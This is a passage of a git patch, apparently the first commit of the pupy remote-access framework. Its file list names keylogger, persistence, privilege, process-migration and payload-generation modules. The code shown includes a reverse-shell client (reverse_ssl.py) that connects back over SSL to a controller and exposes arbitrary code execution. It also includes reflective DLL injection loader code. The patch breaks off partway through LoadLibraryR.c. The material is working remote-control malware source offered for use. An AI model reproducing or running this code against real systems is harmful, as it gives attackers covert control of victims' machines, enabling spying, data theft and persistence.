From 518a40751ff0386100d480e49b34dabe2687b1a3 Mon Sep 17 00:00:00 2001 From: n1nj4sec Date: Mon, 21 Sep 2015 21:53:37 +0200 Subject: [PATCH] first commit :-) --- client/additional_imports.py | 43 + client/build_library_helper.py | 31 + client/reverse_ssl.py | 107 + client/sources/GetProcAddressR.c | 116 + client/sources/GetProcAddressR.h | 36 + client/sources/LICENSES.txt | 93 + client/sources/LoadLibraryR.c | 246 +++ client/sources/LoadLibraryR.h | 41 + client/sources/MemoryModule.c | 916 ++++++++ client/sources/MemoryModule.h | 123 ++ client/sources/MyLoadLibrary.c | 232 ++ client/sources/MyLoadLibrary.h | 13 + client/sources/Python-dynload.c | 97 + client/sources/Python-dynload.h | 57 + client/sources/Python-version.h | 15 + client/sources/ReflectiveDllInjection.h | 52 + client/sources/ReflectiveLoader.c | 496 +++++ client/sources/ReflectiveLoader.h | 204 ++ client/sources/_memimporter.c | 88 + client/sources/actctx.c | 25 + client/sources/actctx.h | 41 + client/sources/base_dispatch.c | 828 +++++++ client/sources/base_inject.c | 605 ++++++ client/sources/base_inject.h | 126 ++ .../sources/gen_library_compressed_string.py | 34 + client/sources/gen_python_bootloader.py | 54 + client/sources/gen_resource_header.py | 29 + client/sources/import-tab.c | 69 + client/sources/import-tab.h | 61 + client/sources/list.c | 429 ++++ client/sources/list.h | 39 + client/sources/main_exe.c | 22 + client/sources/main_reflective.c | 46 + client/sources/make.bat | 38 + client/sources/makex64.bat | 39 + client/sources/mktab.py | 108 + client/sources/pupy.c | 76 + client/sources/pupy_load.c | 189 ++ client/sources/pupy_load.h | 5 + client/sources/remote_thread.c | 99 + client/sources/remote_thread.h | 6 + client/sources/resource_python_manifest.c | 35 + client/sources/resources/iter_files.py | 8 + client/sources/resources/python27_x64.dll | Bin 0 -> 3017216 bytes client/sources/resources/python27_x86.dll | Bin 0 -> 2459648 bytes client/sources/thread.c | 542 +++++ client/sources/thread.h | 118 + pupy/crypto/cert.pem | 22 + pupy/crypto/gen.sh | 2 + pupy/crypto/server.pem | 28 + pupy/genpayload.py | 81 + pupy/modules/__init__.py | 0 pupy/modules/download.py | 27 + pupy/modules/exit.py | 23 + pupy/modules/get_info.py | 17 + pupy/modules/getprivs.py | 21 + pupy/modules/interactive_shell.py | 24 + pupy/modules/keylogger.py | 52 + pupy/modules/migrate.py | 62 + pupy/modules/msgbox.py | 23 + pupy/modules/persistence.py | 55 + pupy/modules/ps.py | 36 + pupy/modules/pyexec.py | 37 + pupy/modules/pyshell.py | 31 + pupy/modules/screenshot.py | 79 + pupy/modules/search.py | 20 + pupy/modules/shell_exec.py | 28 + pupy/modules/socks5proxy.py | 211 ++ pupy/modules/upload.py | 18 + pupy/packages/all/interactive_shell.py | 76 + pupy/packages/all/pupyimporter.py | 164 ++ pupy/packages/all/pupyutils/__init__.py | 0 pupy/packages/all/pupyutils/search.py | 36 + .../windows/all/pupwinutils/__init__.py | 0 .../windows/all/pupwinutils/keylogger.py | 122 ++ .../windows/all/pupwinutils/msgbox.py | 10 + .../windows/all/pupwinutils/persistence.py | 35 + .../windows/all/pupwinutils/processes.py | 55 + .../windows/all/pupwinutils/screenshot.py | 145 ++ .../windows/all/pupwinutils/security.py | 70 + .../packages/windows/amd64/psutil/__init__.py | 1901 +++++++++++++++++ pupy/packages/windows/amd64/psutil/_common.py | 246 +++ pupy/packages/windows/amd64/psutil/_compat.py | 189 ++ pupy/packages/windows/amd64/psutil/_psbsd.py | 455 ++++ .../packages/windows/amd64/psutil/_pslinux.py | 1215 +++++++++++ pupy/packages/windows/amd64/psutil/_psosx.py | 363 ++++ .../packages/windows/amd64/psutil/_psposix.py | 156 ++ .../packages/windows/amd64/psutil/_pssunos.py | 553 +++++ .../windows/amd64/psutil/_pswindows.py | 584 +++++ pupy/packages/windows/x86/psutil/__init__.py | 1901 +++++++++++++++++ pupy/packages/windows/x86/psutil/_common.py | 246 +++ pupy/packages/windows/x86/psutil/_compat.py | 189 ++ pupy/packages/windows/x86/psutil/_psbsd.py | 455 ++++ pupy/packages/windows/x86/psutil/_pslinux.py | 1215 +++++++++++ pupy/packages/windows/x86/psutil/_psosx.py | 363 ++++ pupy/packages/windows/x86/psutil/_psposix.py | 156 ++ pupy/packages/windows/x86/psutil/_pssunos.py | 553 +++++ .../packages/windows/x86/psutil/_pswindows.py | 584 +++++ pupy/pupy.conf | 17 + pupy/pupylib/PupyClient.py | 149 ++ pupy/pupylib/PupyCmd.py | 570 +++++ pupy/pupylib/PupyErrors.py | 19 + pupy/pupylib/PupyJob.py | 195 ++ pupy/pupylib/PupyModule.py | 114 + pupy/pupylib/PupyServer.py | 237 ++ pupy/pupylib/PupyService.py | 65 + pupy/pupylib/PythonCompleter.py | 106 + pupy/pupylib/__init__.py | 0 pupy/pupylib/utils.py | 71 + pupy/pupysh.py | 67 + 110 files changed, 21221 insertions(+) create mode 100644 client/additional_imports.py create mode 100644 client/build_library_helper.py create mode 100644 client/reverse_ssl.py create mode 100644 client/sources/GetProcAddressR.c create mode 100644 client/sources/GetProcAddressR.h create mode 100644 client/sources/LICENSES.txt create mode 100644 client/sources/LoadLibraryR.c create mode 100644 client/sources/LoadLibraryR.h create mode 100644 client/sources/MemoryModule.c create mode 100644 client/sources/MemoryModule.h create mode 100644 client/sources/MyLoadLibrary.c create mode 100644 client/sources/MyLoadLibrary.h create mode 100644 client/sources/Python-dynload.c create mode 100644 client/sources/Python-dynload.h create mode 100644 client/sources/Python-version.h create mode 100644 client/sources/ReflectiveDllInjection.h create mode 100644 client/sources/ReflectiveLoader.c create mode 100644 client/sources/ReflectiveLoader.h create mode 100644 client/sources/_memimporter.c create mode 100644 client/sources/actctx.c create mode 100644 client/sources/actctx.h create mode 100644 client/sources/base_dispatch.c create mode 100644 client/sources/base_inject.c create mode 100644 client/sources/base_inject.h create mode 100644 client/sources/gen_library_compressed_string.py create mode 100644 client/sources/gen_python_bootloader.py create mode 100644 client/sources/gen_resource_header.py create mode 100644 client/sources/import-tab.c create mode 100644 client/sources/import-tab.h create mode 100644 client/sources/list.c create mode 100644 client/sources/list.h create mode 100644 client/sources/main_exe.c create mode 100644 client/sources/main_reflective.c create mode 100644 client/sources/make.bat create mode 100644 client/sources/makex64.bat create mode 100644 client/sources/mktab.py create mode 100644 client/sources/pupy.c create mode 100644 client/sources/pupy_load.c create mode 100644 client/sources/pupy_load.h create mode 100644 client/sources/remote_thread.c create mode 100644 client/sources/remote_thread.h create mode 100644 client/sources/resource_python_manifest.c create mode 100644 client/sources/resources/iter_files.py create mode 100755 client/sources/resources/python27_x64.dll create mode 100755 client/sources/resources/python27_x86.dll create mode 100644 client/sources/thread.c create mode 100644 client/sources/thread.h create mode 100644 pupy/crypto/cert.pem create mode 100644 pupy/crypto/gen.sh create mode 100644 pupy/crypto/server.pem create mode 100755 pupy/genpayload.py create mode 100644 pupy/modules/__init__.py create mode 100644 pupy/modules/download.py create mode 100644 pupy/modules/exit.py create mode 100644 pupy/modules/get_info.py create mode 100644 pupy/modules/getprivs.py create mode 100644 pupy/modules/interactive_shell.py create mode 100644 pupy/modules/keylogger.py create mode 100644 pupy/modules/migrate.py create mode 100644 pupy/modules/msgbox.py create mode 100644 pupy/modules/persistence.py create mode 100644 pupy/modules/ps.py create mode 100644 pupy/modules/pyexec.py create mode 100644 pupy/modules/pyshell.py create mode 100644 pupy/modules/screenshot.py create mode 100644 pupy/modules/search.py create mode 100644 pupy/modules/shell_exec.py create mode 100644 pupy/modules/socks5proxy.py create mode 100644 pupy/modules/upload.py create mode 100644 pupy/packages/all/interactive_shell.py create mode 100644 pupy/packages/all/pupyimporter.py create mode 100644 pupy/packages/all/pupyutils/__init__.py create mode 100644 pupy/packages/all/pupyutils/search.py create mode 100644 pupy/packages/windows/all/pupwinutils/__init__.py create mode 100644 pupy/packages/windows/all/pupwinutils/keylogger.py create mode 100644 pupy/packages/windows/all/pupwinutils/msgbox.py create mode 100644 pupy/packages/windows/all/pupwinutils/persistence.py create mode 100644 pupy/packages/windows/all/pupwinutils/processes.py create mode 100644 pupy/packages/windows/all/pupwinutils/screenshot.py create mode 100644 pupy/packages/windows/all/pupwinutils/security.py create mode 100644 pupy/packages/windows/amd64/psutil/__init__.py create mode 100644 pupy/packages/windows/amd64/psutil/_common.py create mode 100644 pupy/packages/windows/amd64/psutil/_compat.py create mode 100644 pupy/packages/windows/amd64/psutil/_psbsd.py create mode 100644 pupy/packages/windows/amd64/psutil/_pslinux.py create mode 100644 pupy/packages/windows/amd64/psutil/_psosx.py create mode 100644 pupy/packages/windows/amd64/psutil/_psposix.py create mode 100644 pupy/packages/windows/amd64/psutil/_pssunos.py create mode 100644 pupy/packages/windows/amd64/psutil/_pswindows.py create mode 100755 pupy/packages/windows/x86/psutil/__init__.py create mode 100755 pupy/packages/windows/x86/psutil/_common.py create mode 100755 pupy/packages/windows/x86/psutil/_compat.py create mode 100755 pupy/packages/windows/x86/psutil/_psbsd.py create mode 100755 pupy/packages/windows/x86/psutil/_pslinux.py create mode 100755 pupy/packages/windows/x86/psutil/_psosx.py create mode 100755 pupy/packages/windows/x86/psutil/_psposix.py create mode 100755 pupy/packages/windows/x86/psutil/_pssunos.py create mode 100755 pupy/packages/windows/x86/psutil/_pswindows.py create mode 100644 pupy/pupy.conf create mode 100644 pupy/pupylib/PupyClient.py create mode 100644 pupy/pupylib/PupyCmd.py create mode 100644 pupy/pupylib/PupyErrors.py create mode 100644 pupy/pupylib/PupyJob.py create mode 100644 pupy/pupylib/PupyModule.py create mode 100644 pupy/pupylib/PupyServer.py create mode 100644 pupy/pupylib/PupyService.py create mode 100644 pupy/pupylib/PythonCompleter.py create mode 100644 pupy/pupylib/__init__.py create mode 100644 pupy/pupylib/utils.py create mode 100755 pupy/pupysh.py diff --git a/client/additional_imports.py b/client/additional_imports.py new file mode 100644 index 00000000..b58a21be --- /dev/null +++ b/client/additional_imports.py @@ -0,0 +1,43 @@ +import socket +import threading +import Queue +import collections +import SocketServer +import struct +import os +import sys +import time +import traceback +import uuid +import subprocess +import StringIO +import imp +import hashlib +import base64 +import logging +import re +import ssl +import tempfile +import string +import datetime +import random +import shutil +import platform +import errno, stat +import zlib +import tempfile +import code +import Queue +import glob +import multiprocessing +import math +import binascii +import inspect +import shlex +import json +import ctypes +import ctypes.wintypes +import threading +import time +import urllib +import urllib2 diff --git a/client/build_library_helper.py b/client/build_library_helper.py new file mode 100644 index 00000000..8e580b8b --- /dev/null +++ b/client/build_library_helper.py @@ -0,0 +1,31 @@ +import sys +from distutils.core import setup +import py2exe +import os +from glob import glob + +""" +This setup is not meant to build pupy stubs, but only to generate an adequate library.zip to embed in the real exe/dll stub +please don't use this if you don't want to recompile from sources + +NOTE: I had to manually change pyreadline/console/console.py to console2.py and edit __init__.py to change the import because I had a conflict + +""" +if not (len(sys.argv)==2 and sys.argv[1]=="genzip"): + exit("This setup is not meant to build pupy stubs, but only to generate an adequate library.zip to embed in the real exe/dll stub\nplease don't use this if you don't want to recompile from sources") +sys.argv=[sys.argv[0],"py2exe"] + + +setup( + data_files = [(".", glob(r'.\RESOURCES_x86\msvcr90.dll'))], + console=['reverse_ssl.py'], + #windows=['reverse_ssl.py'], + #zipfile=None, + options={ "py2exe" : { + "packages":['additional_imports'], + "compressed" : True, + "bundle_files" : 2, #3 = don't bundle (default) 2 = bundle everything but the Python interpreter 1 = bundle everything + } + } +) + diff --git a/client/reverse_ssl.py b/client/reverse_ssl.py new file mode 100644 index 00000000..9a6cb4a5 --- /dev/null +++ b/client/reverse_ssl.py @@ -0,0 +1,107 @@ +#!/usr/bin/env python +# -*- coding: UTF8 -*- +import site +import sys +import time +import rpyc +from rpyc.core.service import Service, ModuleNamespace +from rpyc.lib.compat import execute, is_py3k +import threading +import weakref +import traceback +import os +import subprocess +import threading +import multiprocessing +import logging +import StringIO +import json +import urllib2 +import urllib +import platform +import re +import ssl +import random + + +class ReverseSlaveService(Service): + """ Pupy reverse shell rpyc service """ + __slots__=["exposed_namespace"] + def on_connect(self): + self.exposed_namespace = {} + self._conn._config.update(dict( + allow_all_attrs = True, + allow_public_attrs = True, + allow_pickle = True, + allow_getattr = True, + allow_setattr = True, + allow_delattr = True, + import_custom_exceptions = False, + propagate_SystemExit_locally=False, + propagate_KeyboardInterrupt_locally=True, + instantiate_custom_exceptions = True, + instantiate_oldstyle_exceptions = True, + )) + # shortcuts + self._conn.root.set_modules(ModuleNamespace(self.exposed_getmodule)) + + def exposed_exit(self): + raise KeyboardInterrupt + def exposed_execute(self, text): + """execute arbitrary code (using ``exec``)""" + execute(text, self.exposed_namespace) + def exposed_eval(self, text): + """evaluate arbitrary code (using ``eval``)""" + return eval(text, self.exposed_namespace) + def exposed_getmodule(self, name): + """imports an arbitrary module""" + return __import__(name, None, None, "*") + def exposed_getconn(self): + """returns the local connection instance to the other side""" + return self._conn + + +def get_next_wait(attempt): + return 0.5 + if attempt<60: + return 0.5 + else: + return random.randint(15,30) + +def main(): + HOST="127.0.0.1:443" + if "win" in platform.system().lower(): + try: + import pupy + HOST=pupy.get_connect_back_host() + except ImportError: + print "Warning : ImportError: pupy builtin module not found ! please start pupy from either it's exe stub or it's reflective DLL" + if len(sys.argv)!=2: + exit("usage: %s host:port"%sys.argv[0]) + HOST=sys.argv[1] + attempt=0 + while True: + try: + rhost,rport=None,None + tab=HOST.rsplit(":",1) + rhost=tab[0] + if len(tab)==2: + rport=int(tab[1]) + else: + rport=443 + + print "connecting to %s:%s"%(rhost,rport) + conn=rpyc.ssl_connect(rhost, rport, service = ReverseSlaveService) + while True: + attempt=0 + conn.serve() + except KeyboardInterrupt: + print "keyboard interrupt received !" + break + except Exception as e: + time.sleep(get_next_wait(attempt)) + attempt+=1 + +if __name__=="__main__": + main() + diff --git a/client/sources/GetProcAddressR.c b/client/sources/GetProcAddressR.c new file mode 100644 index 00000000..9cd83059 --- /dev/null +++ b/client/sources/GetProcAddressR.c @@ -0,0 +1,116 @@ +//===============================================================================================// +// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#include "GetProcAddressR.h" +//===============================================================================================// +// We implement a minimal GetProcAddress to avoid using the native kernel32!GetProcAddress which +// wont be able to resolve exported addresses in reflectivly loaded librarys. +FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName ) +{ + UINT_PTR uiLibraryAddress = 0; + FARPROC fpResult = NULL; + + if( hModule == NULL ) + return NULL; + + // a module handle is really its base address + uiLibraryAddress = (UINT_PTR)hModule; + + __try + { + UINT_PTR uiAddressArray = 0; + UINT_PTR uiNameArray = 0; + UINT_PTR uiNameOrdinals = 0; + PIMAGE_NT_HEADERS pNtHeaders = NULL; + PIMAGE_DATA_DIRECTORY pDataDirectory = NULL; + PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL; + + // get the VA of the modules NT Header + pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew); + + pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + // get the VA of the export directory + pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)( uiLibraryAddress + pDataDirectory->VirtualAddress ); + + // get the VA for the array of addresses + uiAddressArray = ( uiLibraryAddress + pExportDirectory->AddressOfFunctions ); + + // get the VA for the array of name pointers + uiNameArray = ( uiLibraryAddress + pExportDirectory->AddressOfNames ); + + // get the VA for the array of name ordinals + uiNameOrdinals = ( uiLibraryAddress + pExportDirectory->AddressOfNameOrdinals ); + + // test if we are importing by name or by ordinal... + if( ((DWORD)lpProcName & 0xFFFF0000 ) == 0x00000000 ) + { + // import by ordinal... + + // use the import ordinal (- export ordinal base) as an index into the array of addresses + uiAddressArray += ( ( IMAGE_ORDINAL( (DWORD)lpProcName ) - pExportDirectory->Base ) * sizeof(DWORD) ); + + // resolve the address for this imported function + fpResult = (FARPROC)( uiLibraryAddress + DEREF_32(uiAddressArray) ); + } + else + { + // import by name... + DWORD dwCounter = pExportDirectory->NumberOfNames; + while( dwCounter-- ) + { + char * cpExportedFunctionName = (char *)(uiLibraryAddress + DEREF_32( uiNameArray )); + + // test if we have a match... + if( strcmp( cpExportedFunctionName, lpProcName ) == 0 ) + { + // use the functions name ordinal as an index into the array of name pointers + uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); + + // calculate the virtual address for the function + fpResult = (FARPROC)(uiLibraryAddress + DEREF_32( uiAddressArray )); + + // finish... + break; + } + + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + } + } + __except( EXCEPTION_EXECUTE_HANDLER ) + { + fpResult = NULL; + } + + return fpResult; +} +//===============================================================================================// diff --git a/client/sources/GetProcAddressR.h b/client/sources/GetProcAddressR.h new file mode 100644 index 00000000..20835ec4 --- /dev/null +++ b/client/sources/GetProcAddressR.h @@ -0,0 +1,36 @@ +//===============================================================================================// +// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H +#define _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H +//===============================================================================================// +#include "ReflectiveDLLInjection.h" + +FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName ); +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/client/sources/LICENSES.txt b/client/sources/LICENSES.txt new file mode 100644 index 00000000..a3be8cbb --- /dev/null +++ b/client/sources/LICENSES.txt @@ -0,0 +1,93 @@ +The windows reflective DLL and exe payload for pupy contains source code from differents projects with differents licenses. +All the files not from one of these projects is under pupy's license (BSD 3-Clause license) +These projects include : + +---------------------------------------------------------------------------------- +-py2exe : under MIT License (http://sourceforge.net/projects/py2exe/) + Copyright (c) 2000-2008 Thomas Heller, Mark Hammond, Jimmy Retzlaff + + Permission is hereby granted, free of charge, to any person obtaining + a copy of this software and associated documentation files (the + "Software"), to deal in the Software without restriction, including + without limitation the rights to use, copy, modify, merge, publish, + distribute, sublicense, and/or sell copies of the Software, and to + permit persons to whom the Software is furnished to do so, subject to + the following conditions: + + The above copyright notice and this permission notice shall be + included in all copies or substantial portions of the Software. + + THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, + EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF + MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND + NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE + LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION + OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION + WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + +---------------------------------------------------------------------------------- + +-ReflectiveDLLInjection from https://github.com/stephenfewer/ReflectiveDLLInjection + Copyright (c) 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com) + All rights reserved. + + Redistribution and use in source and binary forms, with or without modification, are permitted + provided that the following conditions are met: + + * Redistributions of source code must retain the above copyright notice, this list of + conditions and the following disclaimer. + + * Redistributions in binary form must reproduce the above copyright notice, this list of + conditions and the following disclaimer in the documentation and/or other materials provided + with the distribution. + + * Neither the name of Harmony Security nor the names of its contributors may be used to + endorse or promote products derived from this software without specific prior written permission. + + THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR + IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND + FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR + OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + POSSIBILITY OF SUCH DAMAGE. + +---------------------------------------------------------------------------------- + +-meterpreter (3-clause BSD license) + Meterpreter is available for use under the following license, commonly known as the + 3-clause (or "modified") BSD license: + + ========================================================================================= + + Meterpreter + ----------- + + Copyright (c) 2006-2013, Rapid7 Inc + + Redistribution and use in source and binary forms, with or without modification, are + permitted provided that the following conditions are met: + + * Redistributions of source code must retain the above copyright notice, this list of + conditions and the following disclaimer. + + * Redistributions in binary form must reproduce the above copyright notice, this list of + conditions and the following disclaimer in the documentation and/or other materials + provided with the distribution. + + * Neither the name of Rapid7 nor the names of its contributors may be used to endorse or + promote products derived from this software without specific prior written permission. + + THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY + EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL + THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT + OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR + TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + + diff --git a/client/sources/LoadLibraryR.c b/client/sources/LoadLibraryR.c new file mode 100644 index 00000000..045bbc96 --- /dev/null +++ b/client/sources/LoadLibraryR.c @@ -0,0 +1,246 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#include "LoadLibraryR.h" +#include +//===============================================================================================// +DWORD Rva2Offset( DWORD dwRva, UINT_PTR uiBaseAddress, BOOL is64 ) +{ + WORD wIndex = 0; + PIMAGE_SECTION_HEADER pSectionHeader = NULL; + PIMAGE_NT_HEADERS32 pNtHeaders32 = NULL; + PIMAGE_NT_HEADERS64 pNtHeaders64 = NULL; + + if (is64) { + pNtHeaders64 = (PIMAGE_NT_HEADERS64)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew); + + pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders64->OptionalHeader) + pNtHeaders64->FileHeader.SizeOfOptionalHeader); + + if( dwRva < pSectionHeader[0].PointerToRawData ) + return dwRva; + + for( wIndex=0 ; wIndex < pNtHeaders64->FileHeader.NumberOfSections ; wIndex++ ) + { + if( dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData) ) + return ( dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData ); + } + } + else { + pNtHeaders32 = (PIMAGE_NT_HEADERS32)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew); + + pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders32->OptionalHeader) + pNtHeaders32->FileHeader.SizeOfOptionalHeader); + + if( dwRva < pSectionHeader[0].PointerToRawData ) + return dwRva; + + for( wIndex=0 ; wIndex < pNtHeaders32->FileHeader.NumberOfSections ; wIndex++ ) + { + if( dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData) ) + return ( dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData ); + } + } + + return 0; +} +//===============================================================================================// +DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer ) +{ + UINT_PTR uiBaseAddress = 0; + UINT_PTR uiExportDir = 0; + UINT_PTR uiNameArray = 0; + UINT_PTR uiAddressArray = 0; + UINT_PTR uiNameOrdinals = 0; + DWORD dwCounter = 0; + BOOL is64 = 0; + + uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer; + + // get the File Offset of the modules NT Header + uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; + + // process a PE file based on its architecture + if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B ) // PE32 + { + is64 = FALSE; + // uiNameArray = the address of the modules 